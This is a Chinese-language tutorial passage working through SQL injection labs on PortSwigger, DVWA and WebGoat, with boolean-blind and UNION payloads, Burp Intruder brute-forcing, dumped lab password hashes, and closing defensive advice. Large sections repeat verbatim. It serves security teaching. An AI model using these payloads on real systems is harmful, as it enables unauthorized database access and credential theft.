the name of all columns in current table is USER_ID,FIRST_NAME,LAST_NAME,USER,PASSWORD,AVATAR,LAST_LOGIN,FAILED_LOGIN,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,ID,USERNAME,PASSWORD,LEVEL,ID,USERNAME,PASSWORD
ContentPOST('USERS','USER','PASSWORD')
the content contains 196 characters
the content is ADMIN^5F4DCC3B5AA765D61D8327DEB882CF99,GORDONB^E99A18C428CB38D5F260853678922E03,1337^8D3533D75AE2C3966D7E0D4FCC69216B,PABLO^0D107D09F5BBE40CADE3DE5C71E9E9B7,SMITHY^5F4DCC3B5AA765D61D8327DEB882CF99
以dvwa漏洞平台SQL Injection (Blind)关卡high等级为例:
from sqli_bool import *
CurrentDatabaseCOOKIE()
the name of current database contains 4 characters
the name of current database is DVWA
TablesCOOKIE()
the name of all tables in current database contains 15 characters
the name of all tables in current database is GUESTBOOK,USERS
ColumnsCOOKIE('USERS')
the name of all columns in current table contains 164 characters
the name of all columns in current table is USER_ID,FIRST_NAME,LAST_NAME,USER,PASSWORD,AVATAR,LAST_LOGIN,FAILED_LOGIN,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,ID,USERNAME,PASSWORD,LEVEL,ID,USERNAME,PASSWORD
ContentCOOKIE('USERS','USER','PASSWORD')
the content contains 196 characters
the content is ADMIN^5F4DCC3B5AA765D61D8327DEB882CF99,GORDONB^E99A18C428CB38D5F260853678922E03,1337^8D3533D75AE2C3966D7E0D4FCC69216B,PABLO^0D107D09F5BBE40CADE3DE5C71E9E9B7,SMITHY^5F4DCC3B5AA765D61D8327DEB882CF99
題目:
Lab: Blind SQL injection with conditional responses | Web Security Academy
通過觸發條件回應來利用盲SQL注入,注入點在cookie:
當網站有 SQL injection 漏洞,但 HTTP 回應不包含相關 SQL 查詢的結果或任何資料庫錯誤的詳細訊息,也就是說injection語句的結果不會像之前的SQL-injection專論(1)、(2)一樣顯示在網頁上,所以之前的union攻擊也不管用。這時要用到的技巧,叫blind SQL injection 。
上面的題目,意思是要用blind SQL injection猜出administrator的密碼。已知這DB有一個table名為users,這個table有兩欄,username跟password。
而blind SQL injection 要用burp suite會比較方便。點上圖access the lab後,進入網頁如下:
開啟burp suite,記得proxy要設定一下,或是點下圖的open browser,用burp suite自帶的瀏覽器,就不用設proxy,然後點一下intercept is off,讓它變成intercept is on:
接下來隨便點一個上上張圖中的refine tour search下面的隨便一個tag,觀察burp suite:
按上圖send to repeater(注意上圖紅字處)。
step 1: 確認是否有「觸發條件回應之blind sql injection」
接下來,在原本TrackingId後面的那一串亂碼之後,加上一句sql 語法語法(如下圖左邊紅圈,以後每一步都是把sql語法貼在它後面),之後按send:
sql 語法(百分比編碼後): '+AND+1%3d1-- (原本長相: 'AND 1=1--)
把原始的sql語句給百分比編碼,可以利用這個網站:
URL解碼器與編碼器decoder/encoder - 線上工具
因為注入1=1永遠為真,所以會有右邊紅圈的Welcome back!
如果貼的是:
'+AND+1%3d2-- ('AND 1=2--)
會發現沒有Welcome back!,總之把'AND 1=1--貼在cookie後面是確認是否有「觸發條件回應之blind sql injection」的一個判別方式。
step 2: 確認DB裡有users這個table
sql 語法(百分比編碼後): '%20AND%20(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_name%20%3D%20'users')%20%3D%20'users'--
原sql 語法: ' AND (SELECT table_name FROM information_schema.tables WHERE table_name = 'users') = 'users'--
把語法分解,先看AND之後的括號裡的東西。如果真有users這個table,那麼SELECT table_name FROM information_schema.tables WHERE table_name = 'users'的輸出會是users。接下來' AND 'users' = 'users'恆為真,當然會顯示welcame back。
step 3: 確認長度
sql 語法(百分比編碼後):
'%20AND%20(SELECT%20username%20FROM%20users%20WHERE%20username%20%3D%20'administrator'%20AND%20LENGTH(password)%20%3E%201)%20%3D%20'administrator'--
原sql 語法:
' AND (SELECT username FROM users WHERE username = 'administrator' AND LENGTH(password) > 1) = 'administrator'--
語句分析:
如果真有administrator這個username,那麼SELECT username FROM users WHERE username = 'administrator'這語句的結果就會是administrator。如果password的字串長度大於1,那麼LENGTH(password) > 1這語句的結果會是true。administrator AND true,輸出會是'administrator'。
所以SELECT username FROM users WHERE username = 'administrator' AND LENGTH(password) > 1的輸出會是'administrator'。
' AND 'administrator' = 'administrator'--恆為真,也會輸出welcame back。
注意上圖紅圈裡的1。現在想測長度,必須把紅圈裡的1改成2、3、4...一直測下去,直到welcame back不出現,才能確定長度。但一直改一直重送很麻煩啊,有沒有可以把它當成變數自動去測? 可以,在request的空白處點右鍵,點下圖紅圈Send to Intruder:
會被送到以下畫面。把想列成變數的字反藍(如紅圈處),按右邊的Add $
。
原本反藍的變數左右兩邊會出現符號:
接下來可以切到Payloads頁面,針對這變數作設定,這個payload type應是Numbers:
接下來設定from(數字從幾開始),to(數字到幾結束),steps(每一個round要累加多少,當然一次只會加1,因為我們想測1,2,3,4....)。
點選上圖的Start Attack後,burp就會開始幫你send request。可以看見下面紅圈,從20開始Length會不一樣,代表密碼長度是20。
step 4: 確認密碼
sql 語法(百分比編碼後):
'%20AND%20(SELECT%20SUBSTRING(password%2C%201%2C%201)%20FROM%20users%20WHERE%20username%20%3D%20'administrator')%20%3D%20'a'--
原sql 語法:
' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username = 'administrator') = 'a'--
語句分析:
SUBSTR (str, pos, len) 由 str>中的第 pos 位置開始,選出接下去的 len 個字元。
所以SUBSTRING(password, 1, 1)代表的意思就是password這個欄位的內容的第1個字。
懂得這一句,整句也就懂了: password這個欄位的內容的第1個字是a嗎?
試著把語句按左上角的Send給送出去,可以發現沒有welcome back,也就是說第一個字不是a。
但怎麼可能一個一個送: 第1個位置是b嗎?是c嗎?是....?,接下來第2個位置也是同一套輪迴,所以這時候又是intruder功能出馬了,注意上圖的兩個紅圈圈,就是位置跟字母的變數,所以看下圖,也是把反藍後按Add $
,把這兩個設成變數
記得attack type要設成cluster bomb,才能同時設定兩個變數。
Payload set 1就是第1個變數,Payload type選numbers,從1到20。
Payload set 2就是第2個變數,Payload type選Brute forcer,下面可以再自定義character set。
按上圖右上角的Start attack後,可以看到下圖在試到第19個字是a的時候,length跟其他人都不一樣,是5481。
所以可以按下圖紅圈的length,讓request的結果按照length長度排:
紅線以下就是密碼了,可以自己拼湊出:
vg8w978zz55df9j6tvar
https://sandunigfdo.medium.com/blind-sql-injection-with-conditional-responses-d23ff6660299
https://blog.csdn.net/ZripenYe/article/details/119765859
GitHub - JacquelinXiang/sqli_bool: A simple tool/framework for boolean-based sql injection(GET/POST/COOKIE)
以dvwa漏洞平台SQL Injection (Blind)关卡low等级为例:
from sqli_bool import *
CurrentDatabaseGET()
the name of current database contains 4 characters
the name of current database is DVWA
TablesGET()
the name of all tables in current database contains 15 characters
the name of all tables in current database is GUESTBOOK,USERS
ColumnsGET('USERS')
the name of all columns in current table contains 164 characters
the name of all columns in current table is USER_ID,FIRST_NAME,LAST_NAME,USER,PASSWORD,AVATAR,LAST_LOGIN,FAILED_LOGIN,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,ID,USERNAME,PASSWORD,LEVEL,ID,USERNAME,PASSWORD
ContentGET('USERS','USER','PASSWORD')
the content contains 196 characters
the content is ADMIN^5F4DCC3B5AA765D61D8327DEB882CF99,GORDONB^E99A18C428CB38D5F260853678922E03,1337^8D3533D75AE2C3966D7E0D4FCC69216B,PABLO^0D107D09F5BBE40CADE3DE5C71E9E9B7,SMITHY^5F4DCC3B5AA765D61D8327DEB882CF99
以dvwa漏洞平台SQL Injection (Blind)关卡medium等级为例:
from sqli_bool import *
CurrentDatabasePOST()
the name of current database contains 4 characters
the name of current database is DVWA
TablesPOST()
the name of all tables in current database contains 15 characters
the name of all tables in current database is GUESTBOOK,USERS
ColumnsPOST('USERS')
the name of all columns in current table contains 164 characters
the name of all columns in current table is USER_ID,FIRST_NAME,LAST_NAME,USER,PASSWORD,AVATAR,LAST_LOGIN,FAILED_LOGIN,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,ID,USERNAME,PASSWORD,LEVEL,ID,USERNAME,PASSWORD
ContentPOST('USERS','USER','PASSWORD')
the content contains 196 characters
the content is ADMIN^5F4DCC3B5AA765D61D8327DEB882CF99,GORDONB^E99A18C428CB38D5F260853678922E03,1337^8D3533D75AE2C3966D7E0D4FCC69216B,PABLO^0D107D09F5BBE40CADE3DE5C71E9E9B7,SMITHY^5F4DCC3B5AA765D61D8327DEB882CF99
以dvwa漏洞平台SQL Injection (Blind)关卡high等级为例:
from sqli_bool import *
CurrentDatabaseCOOKIE()
the name of current database contains 4 characters
the name of current database is DVWA
TablesCOOKIE()
the name of all tables in current database contains 15 characters
the name of all tables in current database is GUESTBOOK,USERS
ColumnsCOOKIE('USERS')
the name of all columns in current table contains 164 characters
the name of all columns in current table is USER_ID,FIRST_NAME,LAST_NAME,USER,PASSWORD,AVATAR,LAST_LOGIN,FAILED_LOGIN,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,ID,USERNAME,PASSWORD,LEVEL,ID,USERNAME,PASSWORD
ContentCOOKIE('USERS','USER','PASSWORD')
the content contains 196 characters
the content is ADMIN^5F4DCC3B5AA765D61D8327DEB882CF99,GORDONB^E99A18C428CB38D5F260853678922E03,1337^8D3533D75AE2C3966D7E0D4FCC69216B,PABLO^0D107D09F5BBE40CADE3DE5C71E9E9B7,SMITHY^5F4DCC3B5AA765D61D8327DEB882CF99
題目:
Lab: Blind SQL injection with conditional responses | Web Security Academy
通過觸發條件回應來利用盲SQL注入,注入點在cookie:
當網站有 SQL injection 漏洞,但 HTTP 回應不包含相關 SQL 查詢的結果或任何資料庫錯誤的詳細訊息,也就是說injection語句的結果不會像之前的SQL-injection專論(1)、(2)一樣顯示在網頁上,所以之前的union攻擊也不管用。這時要用到的技巧,叫blind SQL injection 。
上面的題目,意思是要用blind SQL injection猜出administrator的密碼。已知這DB有一個table名為users,這個table有兩欄,username跟password。
而blind SQL injection 要用burp suite會比較方便。點上圖access the lab後,進入網頁如下:
開啟burp suite,記得proxy要設定一下,或是點下圖的open browser,用burp suite自帶的瀏覽器,就不用設proxy,然後點一下intercept is off,讓它變成intercept is on:
接下來隨便點一個上上張圖中的refine tour search下面的隨便一個tag,觀察burp suite:
按上圖send to repeater(注意上圖紅字處)。
step 1: 確認是否有「觸發條件回應之blind sql injection」
接下來,在原本TrackingId後面的那一串亂碼之後,加上一句sql 語法語法(如下圖左邊紅圈,以後每一步都是把sql語法貼在它後面),之後按send:
sql 語法(百分比編碼後): '+AND+1%3d1-- (原本長相: 'AND 1=1--)
把原始的sql語句給百分比編碼,可以利用這個網站:
URL解碼器與編碼器decoder/encoder - 線上工具
因為注入1=1永遠為真,所以會有右邊紅圈的Welcome back!
如果貼的是:
'+AND+1%3d2-- ('AND 1=2--)
會發現沒有Welcome back!,總之把'AND 1=1--貼在cookie後面是確認是否有「觸發條件回應之blind sql injection」的一個判別方式。
step 2: 確認DB裡有users這個table
sql 語法(百分比編碼後): '%20AND%20(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_name%20%3D%20'users')%20%3D%20'users'--
原sql 語法: ' AND (SELECT table_name FROM information_schema.tables WHERE table_name = 'users') = 'users'--
把語法分解,先看AND之後的括號裡的東西。如果真有users這個table,那麼SELECT table_name FROM information_schema.tables WHERE table_name = 'users'的輸出會是users。接下來' AND 'users' = 'users'恆為真,當然會顯示welcame back。
step 3: 確認長度
sql 語法(百分比編碼後):
'%20AND%20(SELECT%20username%20FROM%20users%20WHERE%20username%20%3D%20'administrator'%20AND%20LENGTH(password)%20%3E%201)%20%3D%20'administrator'--
原sql 語法:
' AND (SELECT username FROM users WHERE username = 'administrator' AND LENGTH(password) > 1) = 'administrator'--
語句分析:
如果真有administrator這個username,那麼SELECT username FROM users WHERE username = 'administrator'這語句的結果就會是administrator。如果password的字串長度大於1,那麼LENGTH(password) > 1這語句的結果會是true。administrator AND true,輸出會是'administrator'。
所以SELECT username FROM users WHERE username = 'administrator' AND LENGTH(password) > 1的輸出會是'administrator'。
' AND 'administrator' = 'administrator'--恆為真,也會輸出welcame back。
注意上圖紅圈裡的1。現在想測長度,必須把紅圈裡的1改成2、3、4...一直測下去,直到welcame back不出現,才能確定長度。但一直改一直重送很麻煩啊,有沒有可以把它當成變數自動去測? 可以,在request的空白處點右鍵,點下圖紅圈Send to Intruder:
會被送到以下畫面。把想列成變數的字反藍(如紅圈處),按右邊的Add $
。
原本反藍的變數左右兩邊會出現符號:
接下來可以切到Payloads頁面,針對這變數作設定,這個payload type應是Numbers:
接下來設定from(數字從幾開始),to(數字到幾結束),steps(每一個round要累加多少,當然一次只會加1,因為我們想測1,2,3,4....)。
點選上圖的Start Attack後,burp就會開始幫你send request。可以看見下面紅圈,從20開始Length會不一樣,代表密碼長度是20。
step 4: 確認密碼
sql 語法(百分比編碼後):
'%20AND%20(SELECT%20SUBSTRING(password%2C%201%2C%201)%20FROM%20users%20WHERE%20username%20%3D%20'administrator')%20%3D%20'a'--
原sql 語法:
' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username = 'administrator') = 'a'--
語句分析:
SUBSTR (str, pos, len) 由 str>中的第 pos 位置開始,選出接下去的 len 個字元。
所以SUBSTRING(password, 1, 1)代表的意思就是password這個欄位的內容的第1個字。
懂得這一句,整句也就懂了: password這個欄位的內容的第1個字是a嗎?
試著把語句按左上角的Send給送出去,可以發現沒有welcome back,也就是說第一個字不是a。
但怎麼可能一個一個送: 第1個位置是b嗎?是c嗎?是....?,接下來第2個位置也是同一套輪迴,所以這時候又是intruder功能出馬了,注意上圖的兩個紅圈圈,就是位置跟字母的變數,所以看下圖,也是把反藍後按Add $
,把這兩個設成變數
記得attack type要設成cluster bomb,才能同時設定兩個變數。
Payload set 1就是第1個變數,Payload type選numbers,從1到20。
Payload set 2就是第2個變數,Payload type選Brute forcer,下面可以再自定義character set。
按上圖右上角的Start attack後,可以看到下圖在試到第19個字是a的時候,length跟其他人都不一樣,是5481。
所以可以按下圖紅圈的length,讓request的結果按照length長度排:
紅線以下就是密碼了,可以自己拼湊出:
vg8w978zz55df9j6tvar
https://sandunigfdo.medium.com/blind-sql-injection-with-conditional-responses-d23ff6660299
https://blog.csdn.net/ZripenYe/article/details/119765859
GitHub - JacquelinXiang/sqli_bool: A simple tool/framework for boolean-based sql injection(GET/POST/COOKIE)
以下的題目,是一步一步的教導從測試欄位數量、欄位的資料型態、利用sqli顯示資料、利用sqli偷出資料等,其實比較適合放在前一篇,但這些題目在portswigger其實比較後面。
-- string injection
' or '1' = '1
-- 利用註解來 injection
admin' --
利用字串插補(string interpolation)或字串連結(concatenating strings)的方式來撰寫「動態的」 SQL 語法非常容易遭到 SQL Injection:
String based Injection:
select * from users where name = '" + userName + "';
-- username 帶入 userName = Smith' or '1'='1
-- 即可把所有資料撈出來
select * from users where name = 'Smith' or '1' = '1';
Numeric Based Injection:
"select * from users where employee_id = " + userID;
-- userID 帶入 1234567 or 1=1
-- 即可把所有資料撈出來
select * from users where employee_id = 1234567 or 1 = 1
Special characters SQL Injection
利用 SQL 中的特殊字符(例如註解)進行 SQL Injection
# php
$query = "select * from member where member_id = '".$memberID."' and password = '".$password."';”;
$result = $conn->query($sql);
在 $memberID
的內容中偷偷塞入註解符號--
,如此會變成:
-- 利用註解達到 SQL Injection
select * from member where member_id = 'admin' -- ' and password = 'pass';
這一題只要去測有幾列就好了。
sql指令:
%27+UNION+SELECT+NULL,NULL,NULL--
指令來源:
實行結果:
Lab: SQL injection UNION attack, finding a column containing text | Web Security Academy
這一題是要人用sqli把下圖紅圈內的東西4TFDP1顯示在網頁上。
首先點一下下圖紅圈,讓網址變成下圖反藍處:
step 1: 測試有幾欄,這邊直接測是不是3欄。
sql指令:
%27+UNION+SELECT+NULL,NULL,NULL--
指令來源:
實行結果: 可以看到多了一欄空白。
step 2: 測試每個欄位的資料型態
sql指令: (這裡假設第三欄是文字型態)
%27+UNION+SELECT+NULL,NULL,%27text%27--
指令來源:
實行結果:
看來是失敗的,再來試試第二個欄位是不是:
sql指令:
%27+UNION+SELECT+NULL,%27text%27,NULL--
實行結果:
看來是成功在網頁上顯示text,接下來只要把text換成題目要的字串4TFDP1即可。
step 3: 把text換成題目要的字串4TFDP1
sql指令:
%27+UNION+SELECT+NULL,%274TFDP1%27,NULL--
實行結果:
Lab: SQL injection UNION attack, retrieving data from other tables | Web Security Academy
如題目所述,就是要你撈出administrator的密碼,已經很好心的把table名稱(users)跟table裡的欄位名稱(username、password)都跟你說了。
按Access the lab後,會出現以下網頁,點下圖紅圈:
可以發現網址列的變化,Gifts的後面就是注入點。也就是說,以後步驟裡的sql語句就是貼在Gifts後面。
step 1. 確認欄位數量:
sql指令:
%27+UNION+SELECT+NULL,NULL--
指令來源:
實行結果:
step 2: 測試每個欄位的資料型態
sql指令: (這裡假設兩欄都是文字型態)
%27+UNION+SELECT+%27text%27,%27text%27--
指令來源:
實行結果:
step 3: 列出題目提到的兩個column的內容
sql指令:
'+UNION+SELECT+username,+password+FROM+users--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
只要點下圖右上角,輸入上面圖片紅圈裡的帳號密碼即可解決這一題。
Lab: SQL injection UNION attack, retrieving multiple values in a single column | Web Security Academy
一樣點下圖紅圈處:
看到下圖紅圈處的網址列,以後的sql語句要貼在Pets後面。
step 1. 確認欄位數量:
sql指令:
%27+UNION+SELECT+NULL,NULL--
指令來源:
實行結果:
step 2: 測試每個欄位的資料型態
sql指令: (這裡假設兩欄都是文字型態)
%27+UNION+SELECT+NULL,%27text%27--
指令來源:
實行結果:
step 3. 列出兩個column的內容
但這一次的兩個欄位,只有一個欄位可以接受文字類型,所以不能一次列出帳號跟密碼,只能分兩次sql語句做,一次帳號、一次密碼。
sql指令:
%27+UNION+SELECT+NULL,+username+FROM+users--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
sql指令:
'+UNION+SELECT+NULL,+password+FROM+users--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
密碼是對應的第二個。
要減少被 SQL Injection 的機會最重要的是不要使用 Dynamic Queries,而是改用 Static Queries 或 Parameterized Queries:
-- Static Queryselect * from products;select * from users where user = "'" + session.getAttribute("UserID") + "'";
String query = "SELECT * FROM users WHERE last_name = ?";PreparedStatement statement = connection.prepareStatement(query);statement.setString(1, accountName);ResultSet results = statement.executeQuery();
order by
),應該要把可以被排序的欄位放入「白名單」中(例如,firstname
),而不是讓使用者可以填入任何內容去做排序。防止SQL注入的措施
1、SQL語句的執行代碼使用預編譯 PreparedStatement 。
2、確定每個數據的類型,比如是數字,數據庫則必須使用int類型來存儲。
3、限制傳入數據的長度,這能夠在一定程度上防止sql注入。
4、嚴格限制用戶使用數據庫的權限,能夠在一定程度上減少sql注入的危害。
5、避免直接響應一些 sql 語句執行異常的信息。
6、過濾參數中含有的一些數據庫關鍵詞。
https://pjchender.dev/internet/is-note-webgoat/
https://blog.csdn.net/weixin_46634468/article/details/120480080
以下的題目,是一步一步的教導從測試欄位數量、欄位的資料型態、利用sqli顯示資料、利用sqli偷出資料等,其實比較適合放在前一篇,但這些題目在portswigger其實比較後面。
-- string injection
' or '1' = '1
-- 利用註解來 injection
admin' --
利用字串插補(string interpolation)或字串連結(concatenating strings)的方式來撰寫「動態的」 SQL 語法非常容易遭到 SQL Injection:
String based Injection:
select * from users where name = '" + userName + "';
-- username 帶入 userName = Smith' or '1'='1
-- 即可把所有資料撈出來
select * from users where name = 'Smith' or '1' = '1';
Numeric Based Injection:
"select * from users where employee_id = " + userID;
-- userID 帶入 1234567 or 1=1
-- 即可把所有資料撈出來
select * from users where employee_id = 1234567 or 1 = 1
Special characters SQL Injection
利用 SQL 中的特殊字符(例如註解)進行 SQL Injection
# php
$query = "select * from member where member_id = '".$memberID."' and password = '".$password."';”;
$result = $conn->query($sql);
在 $memberID
的內容中偷偷塞入註解符號--
,如此會變成:
-- 利用註解達到 SQL Injection
select * from member where member_id = 'admin' -- ' and password = 'pass';
這一題只要去測有幾列就好了。
sql指令:
%27+UNION+SELECT+NULL,NULL,NULL--
指令來源:
實行結果:
Lab: SQL injection UNION attack, finding a column containing text | Web Security Academy
這一題是要人用sqli把下圖紅圈內的東西4TFDP1顯示在網頁上。
首先點一下下圖紅圈,讓網址變成下圖反藍處:
step 1: 測試有幾欄,這邊直接測是不是3欄。
sql指令:
%27+UNION+SELECT+NULL,NULL,NULL--
指令來源:
實行結果: 可以看到多了一欄空白。
step 2: 測試每個欄位的資料型態
sql指令: (這裡假設第三欄是文字型態)
%27+UNION+SELECT+NULL,NULL,%27text%27--
指令來源:
實行結果:
看來是失敗的,再來試試第二個欄位是不是:
sql指令:
%27+UNION+SELECT+NULL,%27text%27,NULL--
實行結果:
看來是成功在網頁上顯示text,接下來只要把text換成題目要的字串4TFDP1即可。
step 3: 把text換成題目要的字串4TFDP1
sql指令:
%27+UNION+SELECT+NULL,%274TFDP1%27,NULL--
實行結果:
Lab: SQL injection UNION attack, retrieving data from other tables | Web Security Academy
如題目所述,就是要你撈出administrator的密碼,已經很好心的把table名稱(users)跟table裡的欄位名稱(username、password)都跟你說了。
按Access the lab後,會出現以下網頁,點下圖紅圈:
可以發現網址列的變化,Gifts的後面就是注入點。也就是說,以後步驟裡的sql語句就是貼在Gifts後面。
step 1. 確認欄位數量:
sql指令:
%27+UNION+SELECT+NULL,NULL--
指令來源:
實行結果:
step 2: 測試每個欄位的資料型態
sql指令: (這裡假設兩欄都是文字型態)
%27+UNION+SELECT+%27text%27,%27text%27--
指令來源:
實行結果:
step 3: 列出題目提到的兩個column的內容
sql指令:
'+UNION+SELECT+username,+password+FROM+users--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
只要點下圖右上角,輸入上面圖片紅圈裡的帳號密碼即可解決這一題。
Lab: SQL injection UNION attack, retrieving multiple values in a single column | Web Security Academy
一樣點下圖紅圈處:
看到下圖紅圈處的網址列,以後的sql語句要貼在Pets後面。
step 1. 確認欄位數量:
sql指令:
%27+UNION+SELECT+NULL,NULL--
指令來源:
實行結果:
step 2: 測試每個欄位的資料型態
sql指令: (這裡假設兩欄都是文字型態)
%27+UNION+SELECT+NULL,%27text%27--
指令來源:
實行結果:
step 3. 列出兩個column的內容
但這一次的兩個欄位,只有一個欄位可以接受文字類型,所以不能一次列出帳號跟密碼,只能分兩次sql語句做,一次帳號、一次密碼。
sql指令:
%27+UNION+SELECT+NULL,+username+FROM+users--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
sql指令:
'+UNION+SELECT+NULL,+password+FROM+users--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
密碼是對應的第二個。
要減少被 SQL Injection 的機會最重要的是不要使用 Dynamic Queries,而是改用 Static Queries 或 Parameterized Queries:
-- Static Queryselect * from products;select * from users where user = "'" + session.getAttribute("UserID") + "'";
String query = "SELECT * FROM users WHERE last_name = ?";PreparedStatement statement = connection.prepareStatement(query);statement.setString(1, accountName);ResultSet results = statement.executeQuery();
order by
),應該要把可以被排序的欄位放入「白名單」中(例如,firstname
),而不是讓使用者可以填入任何內容去做排序。防止SQL注入的措施
1、SQL語句的執行代碼使用預編譯 PreparedStatement 。
2、確定每個數據的類型,比如是數字,數據庫則必須使用int類型來存儲。
3、限制傳入數據的長度,這能夠在一定程度上防止sql注入。
4、嚴格限制用戶使用數據庫的權限,能夠在一定程度上減少sql注入的危害。
5、避免直接響應一些 sql 語句執行異常的信息。
6、過濾參數中含有的一些數據庫關鍵詞。
https://pjchender.dev/internet/is-note-webgoat/
https://blog.csdn.net/weixin_46634468/article/details/120480080
題目1:
題目source code:
var query = "SELECT name FROM user where username = '" + username + "' and password = '" + password + "'";
解答
username: admin
password: unknown' or '1'='1
query: SELECT name FROM user where username = 'admin' and password = 'unknown' or '1'='1'
unknown後面的'
很重要。
題目2:
如果某個網站可以輸入以下網址來查詢:
https://insecure-website.com/products?category=Gifts
而查詢語句是:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
這source code代表
有release = 1那很可能有release = 0,可能代表未公開商品。
如果輸入
https://insecure-website.com/products?category=Gifts'--
這會使查詢語句變成:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
--
是sql語句中的註解符號,所以後面的AND release = 1
會變成沒有用,造成未公開商品暴露。
如果輸入
https://insecure-website.com/products?category=Gifts'+OR+1=1--
這會使查詢語句變成:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
這代表category是gifts或是1=1都可以,而1=1又永遠為真,所以會暴露所有category的商品。
Lab 1:
https://0a90000f0417836082c3c968005a009e.web-security-academy.net/filter?category=Gifts
source code:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
sql指令: (加在網址的Gifts後面)
用'+OR+1=1--
:
Lab 2:
點右上角的account,會出現類似題目1的畫面,解法也跟題目1相同。name依題目要求輸入administrator,密碼用aaa' or '1'='1
即可:
SQL 語法的 UNION 的關鍵字可執行多個 SELECT:
SELECT a FROM table1 UNION SELECT b FROM table2
回傳包含 table1 的 a 行 與 table2 的 b 行的值:
限制條件:
前後的資料欄位數量必須相同,才能夠合併。
每一欄的資料類型必須兼容: 不可以某一欄只接受數字,但是你卻嘗試將字元型的也併入
關於限制條件1: 如何確認資料欄位數量?
假設原 SQL 中, SELECT 了三個欄位 (分別為 id、account、password)
由於原SQL語法只有 SELECT 三個欄位,所以當駭客測試到 ORDER BY 4 就會回報錯,駭客就可以得知原語法只有三個欄位:
<原SQL語法> ORDER BY 1;
<原SQL語法> ORDER BY 2;
<原SQL語法> ORDER BY 3;
<原SQL語法> ORDER BY 4;
關於限制條件2: 如何確認資料類型?
目前已經得知 SELECT 三個欄位有3個,但是駭客不知道資料庫每個欄位的資料類型 (大致可分為數字或字元)。由於數字可以被資料庫當作字元,字元不能被當作數字,所以我們使用一個字元 'a' 來對每個欄位進行測試,當數據類型不相容,則會產生錯誤,若資料庫中 id 欄位只接受數字,則在 SELECT 'a', NULL, NULL 指令中會顯示錯誤
<原SQL語法> UNION SELECT 'a', NULL, NULL
<原SQL語法> UNION SELECT NULL, 'a', NULL
<原SQL語法> UNION SELECT NULL, NULL, 'a'
如何得知欄位名稱?
假設原 SQL 語法如下:
SELECT `id`, `name`
FROM `User`
WHERE `id` = {id};
想使用的union攻擊如下:
SELECT `id`, `name`
FROM `User`
WHERE `id` = 0
UNION SELECT NULL, `content`
FROM `Secret`;
如何知道上例中的 Secret(database中的table)、 content(table中的column)的名稱? 另外,要怎麼知道union select後面需要接幾個(就是要知道有幾欄)?(上面已有說明)
資料庫元素由大到小: database -> table -> column,這也是查詢的順序。
知道databese名稱:
在 MySQL / MariaDB 中,預設會有一個 database 儲存資料庫的 schema 資料,稱為 information_schema。
information_schema.schemata: 抓取 database 的名稱
利用 UNION,我們可以構建這樣的 SQL 語法,取得資料庫名稱:
<原SQL語法>
UNION SELECT NULL, `SCHEMA_NAME`
FROM `information_schema`.`schemata`;
information_schema.tables: 儲存了各個資料庫的 table 資訊
利用 UNION,我們可以構建這樣的 SQL 語法,取得table名稱:
<原SQL語法>
UNION SELECT NULL, `TABLE_NAME`
FROM `information_schema`.`tables`
WHERE `TABLE_SCHEMA` = 'CTF';
information_schema.columns: 抓取database的table的column的名稱
利用 UNION,我們可以構建這樣的 SQL 語法,取得 column 名稱:
<原SQL語法>
UNION SELECT NULL, `COLUMN_NAME`
FROM `information_schema`.`columns`
WHERE `TABLE_SCHEMA` = 'CTF'
AND `TABLE_NAME` = 'Secret';
有了上述資料,便可以了解資料庫中的結構,接著便可以利用 UNION 來將任意資料竊取出來:
<原SQL語法>
UNION SELECT NULL, `content`
FROM `Secret`;
結論,做lab之前,需要做的事有以下幾項:
確認欄數、確認每一欄資料類型(這兩步都是同樣網站做過一次,以後就可以不用再做)、找到對應語句。如果需要存取某個column的資料,則要繼續做以下4步驟: 確認有哪些DB,特定DB裡的所有table,鎖定可疑table列出它所有column,列出column內資料(指令: select column名稱 from table名稱)。
另外要注意的,是瀏覽器的轉譯(百分比表示法)。在網址列上,空白要打成+號、'
要打成%27、#
要打成%23。尤其是#要注意。
Lab:
目前lab網址:
https://0af50006045d1a2a80d503bb00620061.web-security-academy.net/filter?category=Gifts
step 1. 確認欄數
sql指令 (貼在Gifts後面):
'+UNION+SELECT+NULL+FROM+DUAL--
注意第一個'
超重要!
指令來源:
除了上面教的order by以外,還有另一種方式可以確認:
實行結果:
看起來是錯誤,代表1列不對,所以把語句改成如下,看是不是兩列:
'+UNION+SELECT+NULL,NULL+FROM+DUAL--
看起來是bingo了。
step 2. 確認欄位(column)的資料類型
sql指令:
'+UNION+SELECT+'test','test'+FROM+DUAL--
指令來源:
實行結果:
step 3. 確認orcale的DB版本:
sql指令:
'+UNION+SELECT+banner,+NULL+FROM+v$version--
注意banner不用加單引號!
指令來源:
Oracle SQL Injection Cheat Sheet | pentestmonkey
Find Oracle version and edition – SQL Bits
實行結果:
Lab:
跟上一題類似,也是要用sql語句查詢作業系統。
step 1. 測試有幾欄:
sql指令:
'+UNION+SELECT+NULL,NULL%23
指令來源:
最後面的--
是註解,用途把後面的語句註解掉。而MySQL的註解是#
,百分比編碼是%23。
實行結果:
跟剛剛一樣兩欄。
step 2. 列出版本
sql指令:
%27+UNION+SELECT+@@version,+NULL%23
指令來源:
MySQL SQL Injection Cheat Sheet | pentestmonkey
拼湊出SQL語句(%27就是'
,加號就是空白) :
實行結果:
Lab:
題目是要你在非orcale的資料庫,利用SQL injection找出administrator的密碼。可以參考
MySQL SQL Injection Cheat Sheet | pentestmonkey
